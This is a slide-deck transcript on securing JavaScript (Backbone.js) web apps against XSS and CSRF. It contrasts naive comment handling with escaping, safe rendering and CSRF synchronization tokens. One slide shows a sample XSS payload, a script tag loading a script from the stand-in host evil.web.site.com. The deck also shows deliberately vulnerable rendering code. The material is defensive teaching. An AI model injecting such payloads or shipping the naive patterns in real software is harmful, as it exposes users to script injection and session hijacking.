Slide 1

Slide 1 text

[email protected] icon-comment icon-comment-alt icon-comments icon-comments-alt icon-credit-card icon-dashboard icon-download icon-download-alt icon-edit icon-envelope icon-envelope-alt icon-key icon-leaf icon-legal icon-lemon icon-lock icon-unlock icon-magic icon-magnet icon-map-marker icon-minus icon-minus-sign icon-resize-horiz icon-resize-verti icon-retweet icon-road icon-rss icon-screenshot icon-search icon-share icon-share-alt icon-shopping-c http://speakerdeck.com/sathomas icon-paper-clip icon-indent-right icon-tab Directional Icons icon-arrow-down icon-arrow-left icon-arrow-right icon-arrow-up icon-chevron-down icon-circle-arrow-down icon-circle-arrow-left icon-circle-arrow-right icon-circle-arrow-up icon-chevron-left icon-car icon-car icon-car icon-car icon-ch Video Player Icons icon-play-circle icon-play icon-step-backward icon-fast-backward icon-fas icon-ste Securing JavaScript Web Applications Stephen Thomas

Slide 2

Slide 2 text

Most Common Attacks on Web Applications 1. Cross Site Scripting (XSS) 2. Cross Site Request Forgery (CSRF) (both are based on JavaScript) Source: Computer Weekly (quoting FireHost)

Slide 3

Slide 3 text

Cross Site Scripting (What you think) your.web.app.com victim great content

Slide 4

Slide 4 text

your.web.app.com victim great content + attack script evil.web.site.com 1 2 Cross Site Scripting (Reality)

Slide 5

Slide 5 text

The Vulnerability: User Supplied Content I like your post. Comment: Submit

Slide 6

Slide 6 text

Naively Collect Content var NewCommentView = Backbone.View.extend({ ... events: { "click button": "save" }, save: function(ev){ ev.preventDefault(); var newComment = this.$('input[name=comment]').val(); this.model.save({newComment: newComment}); }, ... });

Slide 7

Slide 7 text

Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('

<%= comment %>

'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });

Slide 8

Slide 8 text

The Attack I like your post. Comment: Submit

Slide 9

Slide 9 text

Naively Collect Content (including the script tag) var NewCommentView = Backbone.View.extend({ ... events: { "click button": "save" }, save: function(ev){ ev.preventDefault(); var newComment = this.$('input[name=comment]').val(); this.model.save({newComment: newComment}); }, ... });

Slide 10

Slide 10 text

Deliver the Content your.web.app.com victim great content + attack script 1

Slide 11

Slide 11 text

Naively Render Content (including the script tag) var CommentView = Backbone.View.extend({ ... template: _.template('

<%= comment %>

'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });

Slide 12

Slide 12 text

your.web.app.com victim great content + attack script evil.web.site.com 1 2 Cross Site Scripting

Slide 13

Slide 13 text

The Fix: Turn Bad Content I like your post!

Slide 14

Slide 14 text

The Fix: Into Safe Content I like your post! <script src="http://evil.web.site.com/ badscript.js"> </script>

Slide 15

Slide 15 text

Escape on Input var NewCommentView = Backbone.View.extend({ ... events: { "click button": "save" }, save: function(ev){ ev.preventDefault(); var newComment = _.escape( this.$('input[name=comment]').val() ); this.model.save({newComment: newComment}); }, ... });

Slide 16

Slide 16 text

Escape on Input var NewCommentView = Backbone.View.extend({ ... events: { "click button": "save" }, save: function(ev){ ev.preventDefault(); var newComment = _.escape( this.$('input[name=comment]').val() ); this.model.save({newComment: newComment}); }, ... });

Slide 17

Slide 17 text

Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('

<%= comment %>

'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });

Slide 18

Slide 18 text

Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('

<%= comment %>

'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });

Slide 19

Slide 19 text

Safely Render Content var CommentView = Backbone.View.extend({ ... template: _.template('

<%= comment %>

'), render: function(){ this.$el.text(this.template(this.model.toJSON())); }, ... });

Slide 20

Slide 20 text

Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('

<%= comment %>

'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });

Slide 21

Slide 21 text

Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('

<%= comment %>

'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });

Slide 22

Slide 22 text

Safely Render Content var CommentView = Backbone.View.extend({ ... template: _.template('

<%- comment %>

'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });

Slide 23

Slide 23 text

Cross Site Request Forgery (What you think) your.web.app.com suspicious.web.site.com

Slide 24

Slide 24 text

your.web.app.com suspicious.web.site.com Cross Site Request Forgery (Reality)

Slide 25

Slide 25 text

• JavaScript code loaded from suspicious.web.site.com can issue AJAX requests to your.web.app.com • If the user has a tab or window open to your.web.app.com, those AJAX requests will include your session authorization cookies. • Your server will think they’re legitimate requests and respond accordingly. The Vulnerability: AJAX Requests

Slide 26

Slide 26 text

The Fix: Synchronization Tokens • Server sends an additional cookie that is set to a random value.

Slide 27

Slide 27 text

The Fix: Synchronization Tokens var csrf = readCookie("X-CSRF-Token"); if (csrf) { myApp.originalSync = Backbone.sync; Backbone.sync = function(method, model, options) { options || (options = {}); options.headers = { "X-CSRF-Token": csrf }; return myApp.originalSync(method,model,options); }; }

Slide 28

Slide 28 text

The Fix: Synchronization Tokens var csrf = readCookie("X-CSRF-Token"); if (csrf) { myApp.originalSync = Backbone.sync; Backbone.sync = function(method, model, options) { options || (options = {}); options.headers = { "X-CSRF-Token": csrf }; return myApp.originalSync(method,model,options); }; } • Client reads the value of this special cookie.

Slide 29

Slide 29 text

The Fix: Synchronization Tokens var csrf = readCookie("X-CSRF-Token"); if (csrf) { myApp.originalSync = Backbone.sync; Backbone.sync = function(method, model, options) { options || (options = {}); options.headers = { "X-CSRF-Token": csrf }; return myApp.originalSync(method,model,options); }; } • Client returns the value as a custom HTTP header.

Slide 30

Slide 30 text

The Fix: Synchronization Tokens • Server makes sure custom HTTP header is present and matches the cookie.

Slide 31

Slide 31 text

Why Do Synchronization Tokens Work? Even though AJAX requests that suspicious.web.site.com makes to your.web.app.com will include your cookies, Javascript code from suspicious.web.site.com cannot read the values of those cookies. It cannot, therefore, set the custom HTTP header values for which your server is checking.

Slide 32

Slide 32 text

Single Page Web Apps • Don’t re-learn old lessons the hard way. • Protect against JavaScript-based attacks such as XSS and CSRF. • Oh yeah, protect against other attacks (SQL Injection) also.